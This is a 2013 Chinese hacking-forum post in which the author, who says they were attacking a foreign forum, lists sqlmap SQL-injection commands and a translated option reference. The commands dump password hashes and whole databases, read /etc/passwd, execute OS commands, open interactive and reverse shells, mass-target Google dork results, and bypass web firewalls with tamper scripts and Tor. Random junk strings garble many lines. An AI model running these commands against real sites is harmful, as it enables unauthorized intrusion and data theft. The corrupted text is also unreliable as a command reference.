找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2691|回复: 0
打印 上一主题 下一主题

sqlmap注入命令的使用方法

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 22:26:32 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
今天搞国外的一个论坛。发现萝卜和穿山甲都无法正常注入,实在没办法了 还是临时学习了下国外的神器sqlmap的使用方法,,直接做个记录、、: f* X6 Z' W" i: m8 s8 @
sqlmap -u “http://url/news?id=1″ –current-user #获取当前用户名称sqlmap -u “http://www.xxoo.com/news?id=1″ –current-db #获取当前数 据库名称
. l3 _6 m/ P6 H( f, _" u$ Ysqlmap -u “http://www.xxoo.com/news?id=1″ –tables -D “db_name”#列 表名# @3 r. t/ Z5 V; D& V. q8 R0 M
sqlmap -u “http://url/news?id=1″ –columns -T “tablename”users-D “db_name”-v 0 #列字段& L9 A3 b" K6 ^5 m

  _0 X* l( h& wsqlmap  -u  “http://url/news?id=1″  –dump  -C  “column_name”  -T “table_name”-D “db_name”-v# r! D$ G2 Z: u7 h6 ?0 G
0 #获取字段内容! Y4 l5 h2 n, ]3 q
3 Z* _6 Z' q% b8 I$ A0 t! l) x
******************信息获取******************
+ x: e  N. b; W& R3 Esqlmap -u “http://url/news?id=1″ –dbms “Mysql” –users # dbms 指定数 据库类型
1 P- V4 A, V6 F  @7 R4 rsqlmap -u “http://url/news?id=1″ –users #列数据库用户
: t& N! r( N( i- ~* k  isqlmap -u “http://url/news?id=1″ –dbs#列数据库
' ]- C! Z+ w) N+ L1 }9 W# ?sqlmap -u “http://url/news?id=1″ –passwords #数据库用户密码: v; ?( v0 |8 G( p* C
sqlmap -u “http://url/news?id=1″ –passwords-U root -v 0 #列出指定用户 数据库密码+ n* }* [. R! v* K
sqlmap  -u  “http://url/news?id=1″   –dump  -C  “password,user,id”  -T “tablename”-D “db_name”  h, Z* \9 F" E" K% r
–start 1 –stop 20 #列出指定字段,列出20 条3 ^  e, b: ]7 N) j5 N2 N, S
sqlmap -u “http://url/news?id=1″ –dump-all -v 0 #列出所有数据库所有表2 u! c; B1 b+ C1 P( n
sqlmap -u “http://url/news?id=1″ –privileges #查看权限
2 L. \/ m$ u0 o7 H- [8 A6 b8 vsqlmap -u “http://url/news?id=1″ –privileges -U root #查看指定用户权限sqlmap -u “http://url/news?id=1″ –is-dba -v 1 #是否是数据库管理员sqlmap -u “http://url/news?id=1″ –roles #枚举数据库用户角色
3 s* Z3 V! Z# e* l+ U" M$ ]sqlmap -u “http://url/news?id=1″ –udf-inject #导入用户自定义函数(获取 系统权限!)
3 c& @/ N- \) gsqlmap -u “http://url/news?id=1″ –dump-all –exclude-sysdbs -v 0 #列 出当前库所有表
! Z) y$ Q# }5 }sqlmap -u “http://url/news?id=1″ –union-cols #union 查询表记录* l( _6 P$ r* b6 T3 z/ B2 F& |) b4 a
sqlmap -u “http://url/news?id=1″ –cookie “COOKIE_VALUE”#cookie注入
9 `: J8 ^; b4 L' N( Usqlmap -u “http://url/news?id=1″-b #获取banner信息
" ]+ s# @1 R0 z9 D( @5 _: Ksqlmap -u “http://url/news?id=1″ –data “id=3″#post注入
6 Q2 k7 A" C% zsqlmap -u “http://url/news?id=1″-v 1 -f #指纹判别数据库类型
* t. d/ X; [- m; bsqlmap -u “http://url/news?id=1″ –proxy“http://127.0.0.1:8118” #代理注 入6 R$ _- ^& P6 d- R* N( n& R' n& W
sqlmap -u “http://url/news?id=1″–string”STRING_ON_TRUE_PAGE”# 指 定关键词
! l& n9 {) q8 h- Z- Bsqlmap -u “http://url/news?id=1″ –sql-shell #执行指定sql命令
' T2 o4 r4 Z2 Dsqlmap -u “http://url/news?id=1″ –file /etc/passwd
5 A6 h. g! d  @4 l& T( x9 K5 f% U0 Gsqlmap -u “http://url/news?id=1″ –os-cmd=whoami #执行系统命令# a& J+ _) ]! Q1 C7 q" X
sqlmap -u “http://url/news?id=1″ –os-shell #系统交互shell sqlmap -u “http://url/news?id=1″ –os-pwn #反弹shell& o9 i7 O4 J. W8 B9 j# N8 R0 X( ?/ x
sqlmap -u “http://url/news?id=1″ –reg-read #读取win系统注册表
( L: B! W4 B7 f6 wsqlmap -u “http://url/news?id=1″ –dbs-o “sqlmap.log”#保存进度
: Z4 h! S, D. M2 c- F" dsqlmap -u “http://url/news?id=1″ –dbs -o “sqlmap.log” –resume #恢复 已保存进度
* O& P  }) F6 B# m: h***********高级用法*************; `# H$ Y0 i: N$ d
-p name 多个参数如index.php?n_id=1&name=2&data=2020 我们想指定name参数进行注入
* P* K# O# R+ Y. b& Lsqlmap -g “google语法” –dump-all –batch #google搜索注入点自动 跑出 所有字段          需保证google.com能正常访问$ q" p9 v2 k0 m* f5 T$ T
–technique   测试指定注入类型\使用的技术; Z' p( M& k5 O2 p' w7 |
不加参数默认测试所有注入技术
. u- p7 w" T. h+ @, H: s•     B: 基于布尔的SQL 盲注( p& g6 [8 X( i, u5 a, @
•     E: 基于显错sql 注入( w" B4 U$ x3 _  k; C* e1 J3 @0 S
•     U: 基于UNION 注入- }) U) [8 ~' g) F7 R) W, u1 |
•     S: 叠层sql 注入
. ]1 v9 N: k" g7 |•     T: 基于时间盲注
/ |& ~  ~0 g+ c9 O! D$ U–tamper 通过编码绕过WEB 防火墙(WAF)Sqlmap 默认用char()( ]9 ^  N' K7 }& V
–tamper 插件所在目录* S4 u* q6 U. H4 _
\sqlmap-dev\tamper2 ^- k( ~3 r& a7 A/ E. q
sqlmap -u “http:// www.2cto.com /news?id=1″ –smart –level 3 –users # smart 智 能6 L! E! B" e+ K# P% {; d5 {
level 执行测试等级 攻击实例:
' X2 l; \) o0 i! J) B' `2 rSqlmap -u “http://url/news?id=1&Submit=Submit”: @5 f9 t3 g# o- c# i
–cookie=”PHPSESSID=41aa833e6d0d
6 V" R! v- o3 ~. ?28f489ff1ab5a7531406″ –string=”Surname” –dbms=mysql –user
2 U- w4 K1 D+ i' C9 H8 E4 d  n–password
) c  _# k- K* y' B) K( x( H* S参考文档:http://sqlmap.sourceforge.net/doc/README.html: h0 O( i( {: t  w" E& G% t$ o
***********安装最新版本*************+ _& |! v8 m3 h; m9 B
ubuntu 通过apt-get install 安装的sqlmap版本为0.6 我们通过svn 来安装 为 最新1.0版0 N8 _3 ]. m/ N5 ^# n, f
sudo   svn   checkout   https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev  z1 a6 e  h, K
安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py 直接执行/home/当前用户/sqlmap-dev/sqlmap.py –version 这样很不方便 我们可以设置.bashrc 文件
+ H& O' }9 z& y% \  e% zsudo vim /home/当前用户/.bashrc! T7 X# L0 G" [( D" Z, s. [2 j$ c
#任意位置加上:1 g) @: X6 d; Q) ]! j
alias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 该环境变量只对当前用户有效0 F  I) {6 k. o0 e
如果想对所有用户有效 可设置全局 编辑下面的文件
( P; ^6 v1 i" g; q  W# T$ Pvim /etc/profile
/ N& w, U1 ^2 w. d' d( M1 {同样加上:
' T! P* C1 ^0 _, F1 z1 L5 W5 m' Nalias sqlmap=’python /home/seclab/sqlmap-dev/sqlmap.py’ 重启生效  t7 A2 o) L% U" u; z
******************windows 7 (x64) sqlmap install (SVN)************
' Z" p2 g6 n4 p1 e0 o9 E% q4 @http://www.python.org/getit/ 安装python! g0 t! {8 c+ n! H
http://www.sliksvn.com/en/download 安装windows svn client
/ n' \  w4 y* S; K5 f" r# Jsvn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev
& p6 ]6 Q/ @: `/ V5 v$ @安装sqlmap; Z8 {- Q. [7 h" {4 Y; t' j
*修改环境变量
- R/ l2 f( [$ ~; s–version             显示程序的版本号并退出$ z9 S! P' R- d4 K
-h, –help            显示此帮助消息并退出( M! A/ e9 z: C
-v VERBOSE            详细级别:0-6(默认为1)
" N: c& L! D: p& v8 `) JTarget(目标): 以下至少需要设置其中一个选项,设置目标URL。! U9 ?+ X+ N/ v; ?  a1 z% K/ }
-d DIRECT           直接连接到数据库。
' o  j; ]4 F6 v- O2 m9 f( I% |-u URL, –url=URL   目标URL。+ ?6 ^% T7 }- B" C7 g5 I
-l LIST             从Burp 或WebScarab 代理的日志中解析目标。
+ f5 y1 o$ [+ E9 V- K- G. l3 A-r REQUESTFILE      从一个文件中载入HTTP 请求。3 ]! p7 l, f2 k- h' z4 Y, A3 d
-g GOOGLEDORK       处理Google dork 的结果作为目标URL。- D5 J3 g/ B( N) D$ G
-c CONFIGFILE       从INI 配置文件中加载选项。
5 O1 G  M* ~6 wRequest(请求)::! f1 o* U8 q8 }/ S6 S
这些选项可以用来指定如何连接到目标URL。
: j8 B0 \; a# O+ a2 h–data=DATA         通过POST 发送的数据字符串
) W( b* P2 ^8 S; j; v  B% q! K–cookie=COOKIE     HTTP Cookie 头% e, h5 B! n' [8 V: U2 i0 K- X. j
–cookie-urlencode  URL 编码生成的cookie 注入
6 Q$ C6 v$ {1 D7 _( Y3 Z5 f% M; \–drop-set-cookie   忽略响应的Set –Cookie 头信息/ i$ D  `# |9 o* ]+ _, \7 U

1 m" ^5 a, I. c0 p9 d. j+ ~–user-agent=AGENT  指定  HTTP User –Agent 头
: K' U0 o" F2 \0 F& A9 q; K& ]( h* g–random-agent      使用随机选定的HTTP User –Agent 头
5 ~5 f; K, b2 ~* b% O% M, R0 S–referer=REFERER   指定  HTTP Referer 头* h; ^1 ?3 L0 t5 v
–headers=HEADERS   换行分开,加入其他的HTTP 头. k! \# O9 s: g6 K2 J
–auth-type=ATYPE   HTTP 身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
# N" ?8 |  w9 p* c, w$ }–auth-cred=ACRED   HTTP 身份验证凭据(用户名:密码)
! _5 ^- c3 A8 g0 ~& f8 _: q–auth-cert=ACERT   HTTP 认证证书(key_file,cert_file)) p. p4 V+ J% B' Y& N
–proxy=PROXY       使用HTTP 代理连接到目标URL. \( i' ?1 `/ U5 j4 {' ]; V* ~
–proxy-cred=PCRED  HTTP 代理身份验证凭据(用户名:密码)
$ k5 m+ F6 Y; u! o3 K+ a–ignore-proxy      忽略系统默认的HTTP 代理3 O4 w3 F% q) c( q/ X
–delay=DELAY       在每个HTTP 请求之间的延迟时间,单位为秒
' Z% e( h, B4 Y7 L* M; a9 q4 P+ T–timeout=TIMEOUT   等待连接超时的时间(默认为30 秒)9 ^( ]) j* w3 f3 {, i0 Y
–retries=RETRIES   连接超时后重新连接的时间(默认3)9 P. h1 P4 p& b. d: \9 E
–scope=SCOPE       从所提供的代理日志中过滤器目标的正则表达式% B8 ?# Z6 }/ M+ y% ~
–safe-url=SAFURL   在测试过程中经常访问的url 地址
: p- c" H# n, B3 v3 I–safe-freq=SAFREQ  两次访问之间测试请求,给出安全的URL$ \& t# g' g7 M: \9 f
Optimization(优化): 这些选项可用于优化SqlMap 的性能。
1 u$ _/ F/ O5 B5 ]-o                  开启所有优化开关& T9 I- k8 e+ i$ y4 _: Q" T
–predict-output    预测常见的查询输出
. Z, n& r6 t" W5 q6 u+ V–keep-alive        使用持久的HTTP(S)连接
' l! l9 L' ]) l5 w( h–null-connection   从没有实际的HTTP 响应体中检索页面长度2 R% C$ r9 C6 O% H1 T0 w: b0 M
–threads=THREADS   最大的HTTP(S)请求并发量(默认为1)
* ^( p! S3 Y# R9 r5 U" F2 \$ CInjection(注入):
& y# k4 c+ Z& p( x& k9 ?# q这些选项可以用来指定测试哪些参数,  提供自定义的注入payloads 和可选篡改脚本。; e# g1 g9 B$ M  ]1 u: _0 Q
-p TESTPARAMETER    可测试的参数(S)1 Y5 t/ E& J1 m
–dbms=DBMS         强制后端的DBMS 为此值
; c" {7 V9 z3 Q, O' Y& p. X–os=OS             强制后端的DBMS 操作系统为这个值) ]* \( D& R: {, x7 r7 [- ]
–prefix=PREFIX     注入payload 字符串前缀
+ V4 a- l& ^( [4 ~3 F: |1 p–suffix=SUFFIX     注入 payload 字符串后缀; W7 f4 N4 k; N- `
–tamper=TAMPER     使用给定的脚本(S)篡改注入数据
1 O* K! G# E! i. K+ {0 ~' @9 MDetection(检测):
% L: v$ d! e: g& n这些选项可以用来指定在SQL 盲注时如何解析和比较HTTP 响应页面的内容。& s: |7 y; A6 r
–level=LEVEL       执行测试的等级(1-5,默认为1)
7 \7 W: U% u4 q4 F–risk=RISK         执行测试的风险(0-3,默认为1). s0 Q' X6 [8 W& Q% w
–string=STRING     查询时有效时在页面匹配字符串
- {( R% U8 z9 x) M, C–regexp=REGEXP     查询时有效时在页面匹配正则表达式0 d# R' c# }) ?' b% N6 o) }) G4 c* ^
–text-only         仅基于在文本内容比较网页
* g+ A  g( C, \' t+ xTechniques(技巧): 这些选项可用于调整具体的SQL 注入测试。
) z, ^& W4 E  k, N- q) i–technique=TECH    SQL 注入技术测试(默认BEUST)
  j* U. x6 s/ f2 \–time-sec=TIMESEC  DBMS 响应的延迟时间(默认为5 秒)
: N) b6 b# J$ y$ K3 j/ z–union-cols=UCOLS  定列范围用于测试UNION 查询注入6 H& D( u8 r2 ?$ ]' _
–union-char=UCHAR  用于暴力猜解列数的字符5 l+ A, a) n' R5 A, u- z
Fingerprint(指纹):6 D- C: }+ D! N8 V0 x1 ]
-f, –fingerprint     执行检查广泛的DBMS 版本指纹
; p7 M% \+ ~9 |Enumeration(枚举):9 `: S1 R, P- H6 q) [: `, s8 ]( f4 Q

# d% l' p! b% F这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行您自己 的SQL 语句。8 U7 x: T" S4 `+ P$ N4 C+ e# Q
-b, –banner        检索数据库管理系统的标识; z+ z* U1 u1 Y+ {0 y5 F
–current-user      检索数据库管理系统当前用户% q3 }" B& m9 A. w5 ^. P( @
–current-db        检索数据库管理系统当前数据库! D% E: H" J& |( r2 M/ u
–is-dba            检测DBMS 当前用户是否DBA
0 v; F+ V2 n9 ]  P5 o! T–users             枚举数据库管理系统用户
4 f$ ^! X; @) U5 c: H–passwords         枚举数据库管理系统用户密码哈希
# u' K, c( f: P( Q1 J! k–privileges        枚举数据库管理系统用户的权限
( O: q- K6 u; ^. \) G2 b- J–roles             枚举数据库管理系统用户的角色8 l4 d1 R* g, t( l+ Q
–dbs               枚举数据库管理系统数据库9 |  t9 J7 J2 u% T7 ]
–tables            枚举的DBMS 数据库中的表
- c) {7 h. n3 u: p& {6 J–columns           枚举DBMS 数据库表列+ p9 s* T8 c- }
–dump              转储数据库管理系统的数据库中的表项
" Q& d% A( X% H8 b- w, G- U- f–dump-all          转储所有的DBMS 数据库表中的条目1 M" R8 {1 a1 u# P% _% z
–search            搜索列(S),表(S)和/或数据库名称(S)) N2 A+ z$ |7 [6 t
-D DB               要进行枚举的数据库名3 W, \& U" ^" n
-T TBL              要进行枚举的数据库表
3 ~# B% b8 O. x-C COL              要进行枚举的数据库列
! T0 T' x! r" B5 Y" q-U USER             用来进行枚举的数据库用户
" d1 @/ k" M& A2 `- _. ~2 o; Q7 {–exclude-sysdbs    枚举表时排除系统数据库: |" I/ R! Q+ I# E: m- c
–start=LIMITSTART  第一个查询输出进入检索+ |& k' H3 t) V( Y% E
–stop=LIMITSTOP    最后查询的输出进入检索# B# Z6 Z) Q' H* r" ]% c& Y3 o' \
–first=FIRSTCHAR   第一个查询输出字的字符检索# n/ c  b* ?+ I( O/ }- D, z8 a
–last=LASTCHAR     最后查询的输出字字符检索" K+ D+ L' e3 r/ \
–sql-query=QUERY   要执行的SQL 语句
" X5 y, M# l; f–sql-shell         提示交互式SQL 的shell; l% Q* ]: w! i# Y& ]
Brute force(蛮力): 这些选项可以被用来运行蛮力检查。
0 ~8 F$ O5 r* W3 m" N4 J–common-tables     检查存在共同表
- r: b2 Y4 e% v–common-columns    检查存在共同列
/ v0 L$ d! e+ q1 \" f2 DUser-defined function injection(用户自定义函数注入): 这些选项可以用来创建用户自定义函数。( }$ ]- g- y- H+ R
–udf-inject        注入用户自定义函数
2 N7 D% v. J- ^+ Q; Q–shared-lib=SHLIB  共享库的本地路径
. \. u; g/ N% h2 R, tFile system access(访问文件系统): 这些选项可以被用来访问后端数据库管理系统的底层文件系统。
" _' H% I* Y6 v& w9 D" g8 M( B–file-read=RFILE   从后端的数据库管理系统文件系统读取文件% P2 o1 ]+ M! z/ n
–file-write=WFILE  编辑后端的数据库管理系统文件系统上的本地文件, l* o% a$ [* H. Z/ T! v7 v8 }
–file-dest=DFILE   后端的数据库管理系统写入文件的绝对路径
* W. o4 @6 J7 s2 zOperating system access(操作系统访问): 这些选项可以用于访问后端数据库管理系统的底层操作系统。  B5 K3 _* z! \" b& Q. n5 @
–os-cmd=OSCMD      执行操作系统命令
5 z2 U& m) o9 X6 o- c–os-shell          交互式的操作系统的shell
$ [" k2 X/ K- u9 _! Q–os-pwn            获取一个OOB shell,meterpreter 或VNC5 d5 {) T) x8 }# l% I  O
–os-smbrelay       一键获取一个OOB shell,meterpreter 或VNC
9 u; Q! K6 E$ }% l! g0 s–os-bof            存储过程缓冲区溢出利用' n# d2 `5 @4 Z; |
–priv-esc          数据库进程用户权限提升
  p3 Q% F' g- Q–msf-path=MSFPATH  Metasploit Framework 本地的安装路径
) @/ J  i. C' ?& {; n–tmp-path=TMPPATH  远程临时文件目录的绝对路径
) _- r0 `) L1 u" j" y( ] 5 E$ n8 Y" p0 G
Windows 注册表访问: 这些选项可以被用来访问后端数据库管理系统Windows 注册表。4 f  n% Y" M! m+ [: Z; c
–reg-read          读一个Windows 注册表项值
7 |+ a9 Y+ p+ ^- [& Q–reg-add           写一个Windows 注册表项值数据4 a2 L3 q$ G( z4 A
–reg-del           删除Windows 注册表键值# R" j( W5 M0 m& ^+ |( S' r3 N) N
–reg-key=REGKEY    Windows 注册表键. X, d1 n( `6 H$ |
–reg-value=REGVAL  Windows 注册表项值
( J- V# @  O: f) r* N–reg-data=REGDATA  Windows 注册表键值数据) n) J5 f% M6 b- `
–reg-type=REGTYPE  Windows 注册表项值类型* p3 t; e/ ?' ]) e
General(一般): 这些选项可以用来设置一些一般的工作参数。% ]/ U& c8 |* Z9 n5 E
-t TRAFFICFILE      记录所有HTTP 流量到一个文本文件中, x5 b; w0 V# E
-s SESSIONFILE      保存和恢复检索会话文件的所有数据
8 s! j. f# ^0 F( U+ v–flush-session     刷新当前目标的会话文件) H  A" w; Q3 ^& q2 b: i2 v
–fresh-queries     忽略在会话文件中存储的查询结果
7 |" S+ n* H' {. X) Y* k–eta               显示每个输出的预计到达时间
2 o$ R4 W" m( c3 C) @) Y; t9 J5 K–update            更新SqlMap, l# r0 S/ e% ^& R9 r
–save              file 保存选项到INI 配置文件
- \2 j* B7 _0 _$ K* M–batch             从不询问用户输入,使用所有默认配置。
( J7 A! }0 b) q: HMiscellaneous(杂项):
/ O0 _2 n* u, W, x% f5 L1 L–beep              发现SQL 注入时提醒5 G- T& {4 B' |: h* y% S
–check-payload     IDS 对注入payloads 的检测测试: r% X+ o# E% \8 f; b
–cleanup           SqlMap 具体的UDF 和表清理DBMS' x9 ?3 e8 p: B4 y6 t
–forms             对目标URL 的解析和测试形式
, a6 G% k( G3 ~* o4 I! n0 F# Z+ D–gpage=GOOGLEPAGE  从指定的页码使用谷歌dork 结果
* r+ z0 n3 p- d$ L' Q–page-rank         Google dork 结果显示网页排名(PR)& L# G, \5 |% w. O* ~
–parse-errors      从响应页面解析数据库管理系统的错误消息; Z+ a4 R' ?1 y
–replicate         复制转储的数据到一个sqlite3 数据库$ r0 N3 W" H% R2 E
–tor               使用默认的Tor(Vidalia/ Privoxy/ Polipo)代理地址
" I# Y% I+ e) F/ N- P9 |, \–wizard            给初级用户的简单向导界面
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表